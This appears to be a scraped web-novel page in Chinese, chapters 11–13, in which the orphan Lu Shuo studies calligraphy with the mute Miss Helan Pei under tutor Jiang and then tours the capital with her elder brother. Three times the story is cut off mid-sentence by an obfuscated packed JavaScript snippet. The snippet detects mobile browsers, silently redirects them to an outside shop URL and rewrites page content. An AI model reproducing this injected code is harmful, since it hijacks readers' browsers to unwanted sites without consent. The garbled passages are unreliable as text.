这样一家三口其乐融融的画面卢朔并没有看到,因为他还在认真研读添庆买回来的故事画册,把自己不认识但有所猜测的生字标记好,明天拿去问蒋司籍,这样蒋司籍一定会很开心的。 夜里,他躺在床上,想着下午和四小姐在花园里的交流,又想起上午她看到他那张丑字时忍俊不禁的表情,在心里安慰自己,四小姐应该并不是一个挑剔刻薄的人,她那笑应该也不是嘲笑,或许只是纯粹没见过那么丑的字,被逗笑了而已。 毕竟,她如果真的嫌弃他,又为什么要跟他一起在上课,还要他陪她一起玩呢? 卢朔翻了个身,对明天的第一堂课期待又忐忑。 明天,蒋司籍应该会教他认许多新字,还会教他如何写毛笔字。 他一定要快点学会,这样,就不至于连府里的下人都比不过,也不至于连四小姐写的字都看不懂,还需要另一个人在旁边帮忙念,着实是尴尬又羞人。 卢朔握了握拳,给自己暗暗鼓劲。 11.第 11 章 第二天,卢朔提前了半个时辰起床,早早地吃了饭,又把那首启蒙诗再背了几遍,这才带着书箱安心去东廊了。 他去得有点早,厢房门还锁着,他和添庆在门口等了一会儿,才看到贺兰佩和紫苏出现。 “卢公子来得这么早啊?”紫苏一边掏钥匙,一边惊讶道,“等了多久了?” 卢朔:“刚到,刚到。” 紫苏推开了门,贺兰佩和卢朔便一前一后地进了屋,各自在书案旁坐下。 添庆想过来帮卢朔摆放学具,卢朔却摆了摆手,道:“没事的,我自己来,你去忙你的吧。” 他是看贺兰佩身边并没有紫苏在收拾东西,所以才让添庆也下去的。 贺兰佩听着博古架另一侧传来窸窸窣窣的动静,扭头看了一眼,思索了一下,站起了身。 或许是二人昨日玩了几局樗蒲,熟了起来,贺兰佩没有之前那么端着了,她走到角落存水的白瓷水缸中,用长柄勺舀了一些水出来,先给自己空荡荡的砚滴里注了些清水,然后走到卢朔案前,把勺中剩下的水也注进了他的砚滴中。 卢朔受宠若惊:“多谢小姐。” 贺兰佩颔首,转身把长柄勺放回原位,然后回到书案边坐下,拿起砚滴,往砚台里滴了一些水,开始慢慢地磨墨。 卢朔透过博古架偷偷看她,看她纤瘦挺直的后背,看她发间细碎的珠花,还看她微微翘起的小指。 于是也依葫芦画瓢,像她一样拿起造型雅致的砚滴,给砚台里加水磨墨。 昨天的墨是添庆给他磨的,因为需求不多,所以只磨了一点点,卢朔想着今天肯定会写很多字,所以加的水便多了些,结果磨出来的墨一直淡淡的,他只好更用力地磨。 正当他使劲磨墨时,眼前忽然一暗,他抬起头,发现贺兰佩竟又走到了他跟前,给他递了张纸条。 原来她磨墨,是为了给他写字传话。 卢朔接过,扫了一眼,神色肉眼可见地尴尬起来。 ……看不懂,仅认识的几个字也不连贯,猜不出这句话的意思。 贺兰佩也猜到如此了,便指了指他手边的文房用具,摆摆手摇摇头,拿起又放下。 卢朔迷茫地看着她:“是、是不该这么摆放吗?” 他瞟了一眼她的书案,没问题啊,她的也是这么摆放的啊。 贺兰佩:“……” 这就是她不喜欢跟外界交流的原因。 说不了话本来就够憋闷的了,外面的人对她也没什么了解,不像身边的家人和丫鬟,这么多年下来,基本都能记住她的一些手势习惯了,甚至有时候一个眼神一个表情就能猜到她的意思。 没了紫苏在旁边翻译,她现在和卢朔交流困难重重。 久违的焦躁涌上心头,贺兰佩深吸一口气,结果就听见身后传来一个熟悉的声音:“哟,你俩干什么呢?” 她扭过头,看见是蒋司籍进来了,顿时松了口气。 “蒋司籍。”卢朔连忙站了起来,向她行了个礼。 蒋司籍笑眯眯的,瞧见卢朔手里还捏着纸条,打趣道:“一共就两个人,还传悄悄话啊?写的是什么,能给我看看吗?” 卢朔红了脸,因为不知道写的是什么,所以也不确定能不能给蒋司籍看。 倒是贺兰佩,直接从他手里轻巧地抽出了纸条,递给了蒋司籍。 卢朔抿了抿唇,不自觉地搓了下手指。 就因为他认不全字,看不懂她的意思,才导致这两日他们的交流全得靠第三人介入才能进行下去。 他若是四小姐,再来这么几次肯定就厌烦了,也不会再想找他说话了。 “哦,小佩儿是跟你说,你的这些文房用具可以留在这里,不用每次带来带去的,省得麻烦,反正你住的屋里肯定还有其他笔墨,只需要把用的书带一下就好了。”蒋司籍看罢,把纸条还给了卢朔。 原来是这个意思。 卢朔双手接过,对贺兰佩道:“多谢小姐提醒。” 贺兰佩点了下头,转身回了座位。 蒋司籍问卢朔:“昨日我让你背的诗,你背了没有?” 卢朔早有准备,巴不得她考校,立刻点了点头,然后大声流畅地背了出来。 蒋司籍很满意,拍了拍他的肩膀,道:“不错,不错,用功了。” 卢朔又趁机道:“昨日添庆给我把故事画册买回来了,我也认真看了,有些字虽然不认得,但我根据那些我认得的字,猜了一些生字的意思,蒋司籍能不能帮我看看,我猜的对不对?” “哦?”蒋司籍笑道,“你说来听听。” 卢朔便打开画册,给蒋司籍看自己标注的生字,又说了自己的猜测。 没有先生是不喜欢主动学习还独立思考的学生的,蒋司籍果然对他大加赞赏,说他一点也不笨,只是起步晚了些,实际是个机灵孩子。 先生夸他机灵哎,卢朔不好意思地笑了。 他得了夸奖,下意识地去看贺兰佩。 然而贺兰佩却没有露出那种他预想中刮目相看的表情,只是淡淡地看着他,没什么情绪,见他看了过来,她便收回目光,留给他一小半的侧脸和一大半的后脑勺。 卢朔怔了一下,但蒋司籍已经开始跟他讲那些字的具体含义了,卢朔不敢再分心,低头认真听起了课。 贺兰佩确实又不高兴了。 往常这个时候蒋司籍已经在给她上课了,可现在却要先去给卢朔上课,才能轮到她,她还得被迫听那些简单得不得了的东西,想静下心来自己先看点书都不容易。 卢朔还看她,他看她做什么?蒋司籍夸他,难道她也会夸他不成? 蒋司籍让他看的画册他看了,还自己蒙对了生字,把故事看完了,怎么轮到她写给他的字条他就看不懂了,猜都猜不明白? 以后不给他写字条了,等什么时候他把字认全了再说吧。贺兰佩伏在案上,烦闷地想。 蒋司籍瞥了一眼贺兰佩,加快了和卢朔说话的速度。 这一段小课不在她的计划内,但卢朔既然问了,那么她就得解答。她把卢朔自己标出来的那些有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532574|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所猜测的生字讲了,但剩下的那些卢朔连猜都猜不到的生字,她暂且没讲,因为字形比较难记,留着以后教。 结束了这一段课外问答,终于回归到了她原本的教学计划中。她先教了卢朔正确的握笔姿势,然后又教他如何运笔控笔,等卢朔摸出一点感觉后,她便让卢朔描红去了。 蒋司籍踱到了贺兰佩面前。 贺兰佩抬起头,幽幽地看了她一眼。 贺兰佩对面的书案就是给蒋司籍用的,蒋司籍坐过去,笑了一声:“怎么啦?是不是写了一篇绝世妙文,等不及给我欣赏,所以不耐烦啦?” 贺兰佩立刻收起脸上哀怨表情,有点慌乱地往旁边瞟了一眼,连连摇头。 蒋司籍怎么这样!就这么把话讲出来,叫卢朔听到了,两人之间多尴尬! 因为她把蒋司籍当自己人看,所以才会使点小性子,在外人面前,她还是要保持自己温婉友善的形象的! 卢朔描红的动作顿了一下,没敢抬头去看,心里却有些沮丧地想,果然还是影响四小姐了,今天,或者再过几天,恐怕小姐就不会再让他跟她一起上课了。 算了,这早在他意料之内。 “好了好了,把你写的文章拿来给我看看。”蒋司籍道。 三天前她给贺兰佩布置了一个任务,让她写一篇关于某个古人诗集的读后感,今天交。 贺兰佩不考试不当官,自然也不用按照所谓的好文章标准去写,蒋司籍让她写这些东西,只是纯粹为了让她有自己的思考罢了。 贺兰佩把文章给了。 蒋司籍看着文章,时不时点个头,露出赞赏神色。 卢朔一边描红,一边竖起耳朵偷听。 蒋司籍偶尔会把她觉得好的句子摘出来念一下,表扬贺兰佩遣词优美,或见解独到,卢朔听是听懂了,然而听懂之后只觉愈发惭愧——四小姐年纪比他还小一岁,却能写出那么好的文章,懂那么多的道理,相比之下,才刚背会韵律启蒙诗的他又算得了什么? 而且蒋司籍还会指出四小姐文章中的一些缺点,与她进行讨论交流,蒋司籍说几句,四小姐写几句,蒋司籍看了四小姐的回答,又再说几句。 卢朔知道,这不是因为四小姐文中的缺点有多严重,而是因为她是个好学生,先生自然会对好学生有更严格的要求。 方才那点努力之后被先生认可的喜悦顿时烟消云散,蒋司籍有四小姐这样早慧的学生在前,又怎么会觉得他真的机灵呢?她对他的那点认可,或许只是因为预期太低,所以才觉得是意外之喜罢了。 毕竟,他以前也是这么夸他家的大黄狗的,只要大黄狗做出一些略通人性的行为,他便会惊喜夸赞:“好狗好狗,真聪明!” 卢朔心情黯淡地描着红,过了一会儿猛地回神,才发现自己的笔迹已经越来越飘忽。 他一惊,这样可不行,不管别人怎么看他,他学到的本事是自己的,字还是得好好练的。 于是他努力沉下心,不再去偷听蒋司籍跟贺兰佩讲课,专心致志地描起红来。 12.第 12 章 蒋司籍给贺兰佩上了半个时辰的课,点评完了先前留的作业,又把今天准备的一篇佶屈聱牙的古文讲完了。 连着讲了快一个时辰,她自己也有点累了,走到窗台边围炉坐下,娴熟地煮起了茶。 贺兰佩跟着她一起坐到了炉边,这是她们默认的中途休息时间。 卢朔却不确定自己能不能休息,直到蒋司籍呀了一声:“还少个蒲团呢,小卢没地儿坐了。” 贺兰佩抬手敲了敲窗台,紫苏很快便冒了出来:“小姐?” 贺兰佩指了指自己和蒋司籍之间空着的位置,又指了指自己身下的蒲团。 紫苏一拍脑袋:“奴婢这就让人再去拿一个。” 不一会儿又一个蒲团拿过来了,只是没有和她们俩一样的杏粉色棉布衬垫。 蒋司籍笑道:“这个可没有多的了,这是我以前自己没事干的时候缝的,现在做不了这么精细的针线活了。” 卢朔连忙摆摆手道:“我不用,我不用。” 他乖巧地在蒲团上跽坐下,听着茶壶里的水声,也不知道该做点什么。 蒋司籍问:“小卢啊,你以前在家里,和其他小孩儿都玩些什么呀?” “也、也不玩什么……就是到处乱跑而已。” “有没有那种不用乱跑,动静不大,在家里也能玩的游戏?”蒋司籍道,“你看,小佩儿一个人在家里也怪无聊的,你们俩孩子若是能找到一点游戏玩玩,倒也消磨时间。” 贺兰佩看了卢朔一眼,卢朔也看了贺兰佩一眼。 贺兰佩有些犯懒,不想起身去写字,卢朔见她没动作,以为她是不想把昨天两个人玩樗蒲的事情告诉蒋司籍,便也没提这事,只顺着蒋司籍的话道:“有是有,不过我想小姐可能觉得没什么意思。” 蒋司籍:“先说来听听呢。” 卢朔想了想,便说了一个。 他以前在乡下,会和其他小孩玩一种叫做“推枣磨”的游戏。取三枚枣子,一枚拦腰切开,把一半枣肉去掉,露出尖尖的核,再用三根短木签把这枚枣子插起,立在地上,核尖朝上,另外两枚枣子则用一根长木签插起,各占一端,将插着双枣的长木签放在核尖之上,轻轻推动,比谁能让长木签在核尖上平稳转动不掉下去,谁就赢了。 蒋司籍拊掌道:“这个简单,做起来又快又方便,不如咱们玩一会儿,玩完了就接着上课。小佩儿,你觉得如何?” 贺兰佩心想这有什么好玩的,乡下孩子是没有樗蒲那么精细的玩具才会玩这个。但闲着也是闲着,蒋司籍也是一片好意,玩就玩吧。 于是蒋司籍就让紫苏和添庆去找些枣子、木签和小刀来。 紫苏诧异道:“要这些做什么?” 蒋司籍:“当然是锻炼孩子们多动动手,总不能每天死读书吧。” 紫苏和添庆很快便带着东西回来了,看着三个人围在一起,把茶壶推到一旁,一副要干手工活的样子,紫苏不由狐疑道:“小刀锋利,不会划到小姐的手吧?” 卢朔连忙接话:“不会不会,我来便好。” 他掂了掂小刀,拿起一枚枣子,熟练地拦腰划了一圈,把枣肉剖开,捏紧一提,半边枣肉便脱了下来,露出里面尖尖的枣核。 蒋司籍:“木签是不是粗了点?” 卢朔:“是,还得再削一削。” 这或许是他进府以来做的最得心应手的事情,没几下子,便把几根木签削得纤细,插在了枣子上。 卢朔把支起的枣核架推到茶案中央,又把两头插枣的长木签递给贺兰佩,道:“小姐要试试么?” 贺兰佩接过,观察了一会儿核尖和手里的长木签,把长木签的中心置于核尖之上,才慢慢地松开了手。 结果她刚一松手,木签就掉了下去。 贺兰佩蹙了蹙眉,又试了几回,结果都不能成功。她神色肃穆起来,放下了轻视之心,将长木签放在自己的指腹之上,感受了一下两段枣子的重量,又避免手指和木签粘连,用双手食指的指甲盖轻轻地托起长木签,将其小心翼翼地放在了核尖之上。 等长木签稳定后,她屏住呼吸,缓缓收起手指,三枚枣子与若干木签依然纹丝不动,共同组成了一个称量用的平稳衡器。 贺兰佩笑了起来。 蒋司籍道:“这枣核尖儿可真难对准,你方才都快看成对眼了知道不?” 什么?她对眼? 贺兰佩心中一个咯噔,羞恼之色浮现,下意识地瞥了卢朔一眼。 她怎么能在外人面前这样失态! 卢朔愣了一下。 四小姐方才对眼了?有吗?他怎么没注意到,只觉得四小姐的眼睛可真大啊,睁得圆溜溜的,像他娘搓的两个黑馅儿团子。 “逗你呢,没对眼。”蒋司籍笑道。 贺兰佩:“……” “但是你也没赢。”蒋司籍说,“小卢之前说了,要能把长木签上的枣子推动,让木签以枣核为中心转动不掉下去,才算赢。” 贺兰佩咽了下喉咙,重新严肃起来,缓缓地伸出手指,轻轻地推了一下木签一端的枣子。 木签慢慢地转了起来。 然而就在贺兰佩眼睛亮起来的同时,啪嗒一声,木签无情地掉在了桌上。 贺兰佩睁大了眼,颇有种功败垂成的荒谬感。 她不服,重新再来,结果试了好几次,都是在最后推动转圈的环节出了岔子。 她拧起眉头,怀疑是卢朔削木签削得有问题,遂把东西一推,推到他面前,示意他来试试。 卢朔轻咳一声,把东西摆好,和贺兰佩一样,先掂了掂插着双枣的长木签的手感,然后将它缓缓地放到了核尖之上。 贺兰佩紧紧地盯着卢朔的一举一动。 就在这时,她突然发现,卢朔手上有不少粗厚的茧子,还有很多细小的已经愈合的伤痕,只是沉积的颜色比旁边略深了些,所以才会被她注意到。 她身边的下人手上都不一定有这么多茧子,恐怕得是做最繁重粗活的那些人才有。 所以他以前在乡下,一定过得很辛苦吧。 贺兰佩忽然生起一阵歉疚,他只是投胎没她投得好,她何必因为他读不懂字条而烦躁,又何必因为自己不会玩他提出的游戏而心生不满,这不是君子所为。 是她太久不与生人接触,心境有欠修炼。 卢朔丝毫不知贺兰佩丰富的内心活动,他只是深吸一口气,定了定神,伸出一根食指,用指尖轻轻推了长签上的枣子一下。 长签悠悠地转动起来,明明中途晃了几下,一副摇摇欲坠的样子,但竟然始终没有掉下,最后转了一圈半才稳稳停下。 “哇,还是小卢厉害。”蒋司籍赞道,“是有什么技巧吗?” 卢朔挠了挠头,道:“也没什么特别的技巧,就是我玩得多了,有手感了而已,若小姐再多试试,应该也能找出一点手感的。” 说着看向贺兰佩:“小姐要再试试吗?” 贺兰佩已经失去了和卢朔一较高下的心思,技不如人,她服输便是。 卢朔忽然感觉四小姐看自己的眼神似乎变了一些,有点……有点像国公或夫人看自己的眼神。 “不玩了是吗,那我们就继续上课吧!”蒋司籍饮尽杯中茶,起身道,“我来看看小卢你描红描得如何!” 卢朔连忙也跟着起来,快步走到书案边,让蒋司籍查看他的字帖。 “嗯……刚开始笔迹有些凌乱,后面倒是稳了不少,不错,进步还是很明显的。”蒋司籍点评道。 卢朔不敢吭声,刚开始笔迹凌乱,还不是因为偷听了她们二人的上课交流,与聪慧的四小姐相比,他是多么平庸浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534501|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄的一个人啊,他沉浸在自卑中,当然写不好字了。 还好后来调整了一下心态,不去听她们上课了,独自认真描红。 蒋司籍道:“你把描过的这些字,再单独写来我看看。” 卢朔便提笔写,虽然仍是不好看,但至少勉强横平竖直了,整体也规矩方正多了,比昨日强出不少。 蒋司籍:“练字是个长久活,切不可懈怠。” 卢朔点头应是。 …… 后半段课,蒋司籍教卢朔记了一些常用的部首偏旁和单字,如此一来,以后再遇到生字时,就可以通过拆字揣测意思。又给他写了一些常用物品的名称字条,让卢朔回去后贴在对应的物品上,这样日日看着,很快就能记住。 上完了卢朔的课,蒋司籍接着给贺兰佩上课。 贺兰佩已经又自己看完一篇文章了,把不懂的地方作了标记,等蒋司籍来讲解。 蒋司籍给她讲文章的时候,卢朔就继续练他的字。 上到午时,这上午的课才终于算结束了。 蒋司籍是不在国公府里吃饭的,收拾了东西就走了,卢朔则揉了揉有些酸痛的手腕,刚想把那些笔墨纸砚收回书箱里,转念又想起四小姐跟他说过,这些东西不必带来带去,便又放下了。 添庆走了进来:“厨房已经做好菜了,老爷和夫人就等着小姐与公子下课,过去一起吃饭呢。这些东西小的替公子拿回去吧。” 卢朔忙道:“只带书就行,旁的可以留这里。” 添庆惊讶了一下,不过很快便笑道:“那也好,四小姐体谅咱们,省了不少事呢。” 卢朔看向贺兰佩,犹豫了一下,问道:“四小姐……我们一起去吃饭么?” 贺兰佩摇了摇头。 卢朔抿了抿唇,看来四小姐是真不待见他,恐怕课间推枣磨的时候也惹恼了她,明明是可以一起去吃饭的,她却偏不一起走。 “那我就先走了。”卢朔低声说道,带着添庆黯然离开了。 “小姐怎么不跟卢公子一起走啊?是有别的事吗?”紫苏从窗外探进一个脑袋。 贺兰佩走到窗边,把自己的书递给紫苏,然后缓缓抬起手臂,仰起头,伸了一个长长的懒腰。 ——是的,她没什么别的事,纯粹只是上课上累了,需要伸个懒腰放松一下而已。 但她是肯定不可能在卢朔面前做出这样的动作的。 她抻着手臂,往左边弯了弯腰,又往右边弯了弯腰,然后慢悠悠地转了一圈脑袋。 她成日在家待着不出门,爹说她不锻炼对身体不好,没事就多拉伸拉伸,她听进去了。 活动完一圈,贺兰佩终于感觉周身轻盈了许多,肚子也有点饿了,正好去吃饭。 她心情愉悦,正要放下手臂,忽然看见卢朔又出现了在屋门口,正一脸震惊地看着她。 贺兰佩:“……” 卢朔:“……” 贺兰佩的脸噌的一下红了,她迅速放下了手,站直了身子,别过脸,用力瞪了紫苏一眼。 ——为什么不提醒她?! 紫苏也觉得很冤枉,卢公子是跑过来的,她看到他的时候,他已经到门口了!她还没提醒小姐,小姐就自己看见了! “咳咳,卢公子,你回来是……”紫苏尴尬开口。 卢朔也没想到自己竟然会瞧见四小姐活动筋骨的样子,倒没什么别的想法,就是单纯的出乎预料而已,现在发现她和紫苏两个人都一脸异色,这才后知后觉地发现好像确实有点不大妥当,不由也闹了个红脸,嗫嚅道:“我……我有个东西忘了,回来拿一下……” 说完,就冲到书案旁,把压在砚台下的贺兰佩写给他的那张字条抽了出来,攥在了手心里。 “那、那我先走了……”他丢下这一句,又一溜烟跑了出去。 13.第 13 章 卢朔和贺兰佩一前一后地来到了膳厅。 贺兰宗笑眯眯地问:“卢朔,上课上得怎么样,还适应吗?” 卢朔点点头:“蒋司籍教我教得很耐心。” 章宜珠看了女儿一眼,见贺兰佩也抿唇笑了笑,便放了心,招呼道:“上了半天的课都累了吧,快吃饭,吃完好好歇息。” 吃完饭,大家又各自散去,卢朔回到自己屋里,把塞到腰带里的那张字条又拿出来看了看。 他其实也说不准自己为什么要把一张已经没用的字条拿回来,或许是觉得这是四小姐单独写给他的,可以留作纪念? 他实在太耽误四小姐上课了,她说不准什么时候便会无法忍耐他,从而要求二人分开上课。 卢朔看着字条上一大半不认识的字,长长地叹了一口气,心想,他一定得好好学习。在乡下不认字无所谓,到了京城不认字,尤其是在这名门望族里,简直寸步难行。 他合上字条,把它整齐叠好,放进抽屉里存着,然后拿起蒙书,开始小声诵读起来。 他肯定是不能在课上这样诵读影响四小姐的,只能课后多努力了。 - 此后几天,卢朔每天去上课时都有点忐忑,生怕四小姐跟蒋司籍提出,要二人分开上课。 但他的担心一直没有发生。 他与四小姐过得相安无事,四小姐虽未再写字条给他,但也没有对他表露出什么厌烦之色,课间和蒋司籍坐在一起休息时,他和蒋司籍说话,四小姐听着还会笑笑。 于是卢朔又不禁想,或许是自己太敏感了,四小姐其实是个大度的人,是能包容自己一起上课的,只是自己既不是人家的兄弟,也不是什么值得深交的天才,她肯定不会像那些乡下孩子一样,只因为住得近,就能自行成为一起上山下田的好朋友。 卢朔也从宣国公、国公夫人和蒋司籍的日常举动中隐隐意识到了他们对自己的定位。 他其实就是来陪四小姐一起上课的,用来填补几位公子不在府中、四小姐没个同龄人陪伴的空缺。 比如蒋司籍身为先生,应该见不惯学生贪玩偷懒才对,可她却偏偏喜欢怂恿他和四小姐玩乐,还喜欢没事就问他一些乡野趣事,他原本以为是蒋司籍自己想听,后来才发现,其实是四小姐想听。 四小姐没出过京城,甚至得了哑病后连府门都不常出去。 蒋司籍借着和他聊天的机会,让四小姐多听听外面的故事。 他还从添庆口中得知,厢房里那张市井灯会图是宣国公托人作了送给四小姐当生辰礼的,因为灯会上人多,容易出事,四小姐偏偏还是个口不能言的,出了事连喊都喊不出声,太过危险,所以便不能参与其中,只能看看画中景象,权当身临其境体验一番。 博古架上那些不值钱的小玩意儿,也是蒋司籍和其他公子出门时随手带回来的,给四小姐看个新奇,把玩解闷。 添庆曾告诫过卢朔,不可对四小姐露出怜悯之态,四小姐不喜欢。但卢朔还是忍不住在心里暗暗地可怜她,毕竟她虽然是个锦衣玉食的娇小姐,可却像个笼中雀一样,体会不到外面世界的多彩,得失去多少生活乐趣啊。 贺兰佩压根不知道自己正被卢朔可怜着,相反,她还觉得卢朔没爹没娘的甚是可怜,还悄悄跟蒋司籍说,不要让他背那些思父思母思乡之类的古诗,免得他心生感伤,又在府里偷偷掉眼泪。 波澜不惊地过了几日,到了国子监例行放假的日子。 贺兰昌和贺兰荣一回到家便大呼小叫,挤在章宜珠身边,抱怨先生教得好难,他们听得头痛。 贺兰振在一旁慢条斯理地喝着茶,章宜珠让大儿子给两个弟弟补补课,带带他们,贺兰振却哂笑道:“娘有所不知,他们的先生都告状告到我这里了,说之前请了两天假,他们俩的课业竟一字未动,回去后抄同窗的,被先生逮个正着。他们自己如此态度,我又有什么办法。” “还有这种事?”贺兰宗听得虎目圆瞪,一拍桌子,当即吼道,“给老子滚过来!” 贺兰昌和贺兰荣立刻闭嘴,战战兢兢地从慈母怀中滚了出来,挪到了父亲面前。 “你们两个,不好好念书,想挨打不成?”贺兰宗左右看看,没找到趁手的东西,只能曲起指节,恶狠狠地一人敲了一个暴栗,“那有人想去国子监还不好去呢,你们身在其中,竟不珍惜!” 堂中一时寂静,原本坐在一旁准备吃点心的卢朔默默地收回了手。 谁想去国子监却不好去?他吗?他其实也不是很想去…… 贺兰荣捂着脑门,小声嘀咕道:“我本来就不喜欢念书,当初就说了要练武,是爹你不同意,非要让我和贺兰昌去国子监……又不是谁都跟大哥一样,念书如同吃饭喝水一样容易……” “少来这套!你们大哥练武也没落下!”贺兰宗哼道,“别以为我不知道你们一个两个在心里头想什么,是觉得自己将来要当武将,所以念书不用那么认真是不是?我告诉你们,就你们现在这水平,将来被文官指桑骂槐了都不知道呢!老子当初打了败仗,那些文官在朝中是如何贬低老子,又是如何劝陛下召老子回京问罪的,你们知道吗?若不是老子在奏章里晓之以情动之以理,暂时堵住了那些人的嘴,加上陛下顶住了压力,你们两个现在还敢如此猖狂?国公府怕是早就成了笑话了!” 贺兰荣顿时如同鹌鹑一样,再不敢吭声。 章宜珠轻咳一声:“好了,说两句得了,也不至于如此动气。老二老三,你们也真是,我与你们爹是信任你们,才不过问你们的功课,你们倒好,阳奉阴违,抄同窗的,委实丢人。还有没有没做的课业?赶紧补了,别再叫你们爹生气。” 贺兰昌闷声道:“没了,都补完了。” 贺兰宗:“之前请了两天假,你们俩也玩过了,我看这次就不必继续玩了,这一日就在家中好好待着吧!由我来检查你俩的功课!” 贺兰荣掐住自己的人中,作出一副要晕倒的样子,贺兰昌向他的慈母投去求救的目光,但章宜珠也只能摊手,表示是他俩自讨苦吃,她救不了他们。 贺兰佩在一旁偷偷地笑。 贺兰振看向妹妹,微笑道:“佩儿这几日都和卢朔在一起上课?都还习惯吗?” 贺兰佩点了点头。 “那就好。” 贺兰宗忽然想起什么,说道:“老大,你今日是不是没什么事做?不如带卢朔出门逛逛,我看这孩子读书比老二老三用功多了,来了家里,还没出门玩过。” 卢朔赶紧道:“不用不用,我、我还要练字,就不出去玩了。” “哎,什么话,练字也不差这一两个时辰。”贺兰宗摆了摆手,看向贺兰振,“我就不出去了,你带他到处走走,多熟悉熟悉京城的环境。” 贺兰振想了想,道了声好。 他原本就觉得应该让卢朔多出门逛逛,免得他独处时思念父母,在府里黯然落泪,被人瞧见,暗地里嚼舌根子。之前听说老二老三他们想带他出去玩的,但被他以要背书为由拒绝了,如今既然父亲又提起了此事,那可不能再让卢朔逃避了。 贺兰振看向卢朔,笑了一下:“放心吧,四处走走看看罢了,也不跟什么人交际,等到你熟悉了京城,以后就可以自己出门了。” 话都说到这里了,卢朔也只好道:“那就有劳大公子了。” 贺兰荣举起手,弱弱道:“我也可以陪……” “你不可以!”贺兰宗瞪了他一眼。 贺兰荣缩起脖子。 “那不如趁着时间还早,我们现在就出门吧。”贺兰振起身,“出门逛一圈回来,正好吃饭午歇。” 看着贺兰振带着卢朔出去,章宜珠低下头,轻声问女儿:“要不要跟他们一起去玩?” 贺兰佩摇了摇头。 意料之中的回答,章宜珠没再说什么,摸了摸女儿的脑袋。 卢朔跟着贺兰振上了马车,贺兰振道:“这附近都是宅院,无甚可看,等到了街市上,我们再下车慢慢逛。” 卢朔应了一声。 他心里其实有点怕贺兰振,因为贺兰振不像贺兰昌贺兰荣那么活泼直率,也不像贺兰宗那样,虽然平时威严,但对待他时,还是很慈祥的。 贺兰振非常符合卢朔对贵族公子的想象,风度翩翩,一表人才,做事得体,怎么看都很完美。 正因完美,才觉得疏离。 人与人之间的差距太大了,卢朔觉得自己一辈子也不可能变成贺兰振这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536643|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。 他虽与贺兰振并排坐在车中,却掀起车帘,默默地看着外面的景色,避免与贺兰振说话,生怕他忽然问起自己和四小姐平时上课都做些什么。 然而他又想多了,贺兰振并没有问他上课的事情,只是每路过一个宅院,就会跟卢朔简单讲一下这是谁家的。附近住的都是高门大户,就算不亲近,那也是认识的,卢朔以后若要出门,肯定也得记住这些人。 卢朔努力地记着。 等到了街市上,路人便多了起来,也喧嚣了许多。 贺兰振带着卢朔下了车,与他走在路上:“这路边的都是小商小贩,卖点零碎东西,再往前走就是固定的铺面,有酒肆、茶楼、布坊等等……” 卢朔一边走,一边好奇地东张西望。 京城果然繁华,就算是小商贩卖的东西,瞧着也颇有意思,若是放到乡下,怕是能被那些小孩争抢好久。 当然,也有一些常见的瓜果蔬菜,卢朔有阵子没见到如此新鲜完整的它们了,不由多看了几眼,小贩还以为他想买,热情地招呼道:“五文钱一把,公子买点吗?” 卢朔一吓,赶紧加快脚步,跟上贺兰振,嘀咕道:“这么贵!在我们那边,最多也就两文钱!” 贺兰振笑了笑,说:“京城的价格是贵些。” 又走了几步,看到一个人坐在路边,面前放着一只篮子,里面有几只小狗崽正在互相拱着玩。 卢朔又忍不住放慢了脚步,回头看了好几眼。 “怎么了?”贺兰振道,“瞧着就是些普通的狗崽,有人会买回去看门用,你也想买吗?” 卢朔连忙摆摆手,道:“我不想买,只是毛色和我家以前养的狗很像,所以多看了一会儿。” 贺兰振:“哦?你们家以前也养过狗?” “嗯,一只大黄狗,年纪比我还大,是我爹以前养的,我小时候经常和它一起玩。”卢朔道,“前几年老死了,就没再养了。” 贺兰振没有接话。 卢朔以为他是对这个话题不感兴趣,便没多说,谁知又走出去一段路,贺兰振忽然开口:“其实我们府上以前也养过一只小狗。” “是吗?”卢朔好奇地问,“什么时候的事?现在怎么没看见?” “四五年前的事了。”贺兰振轻轻叹了一口气,“那时候佩儿刚出事不久,还比较消沉,爹娘怕她寂寞,就买了一只小狗回来陪她玩。” 卢朔小心翼翼地问:“然后呢?” 如今府里没有狗,想来中间是有什么变故? “然后佩儿也确实高兴了些,经常和她的小狗在一起玩。”贺兰振道,“只是她年纪小,自己一个人肯定照顾不好狗,周围的下人就帮忙照顾着,我们这些做哥哥的也喜欢去玩。小狗脾气很好,和每个人都混得很熟,见谁都摇尾巴。” 卢朔:“这不是挺好的吗?” “是挺好的,但最大的问题就是——”贺兰振长长地吸了一口气,摇了摇头,“小狗总是得听人的话的,而这府里唯一一个说不了话的人,就是佩儿。” 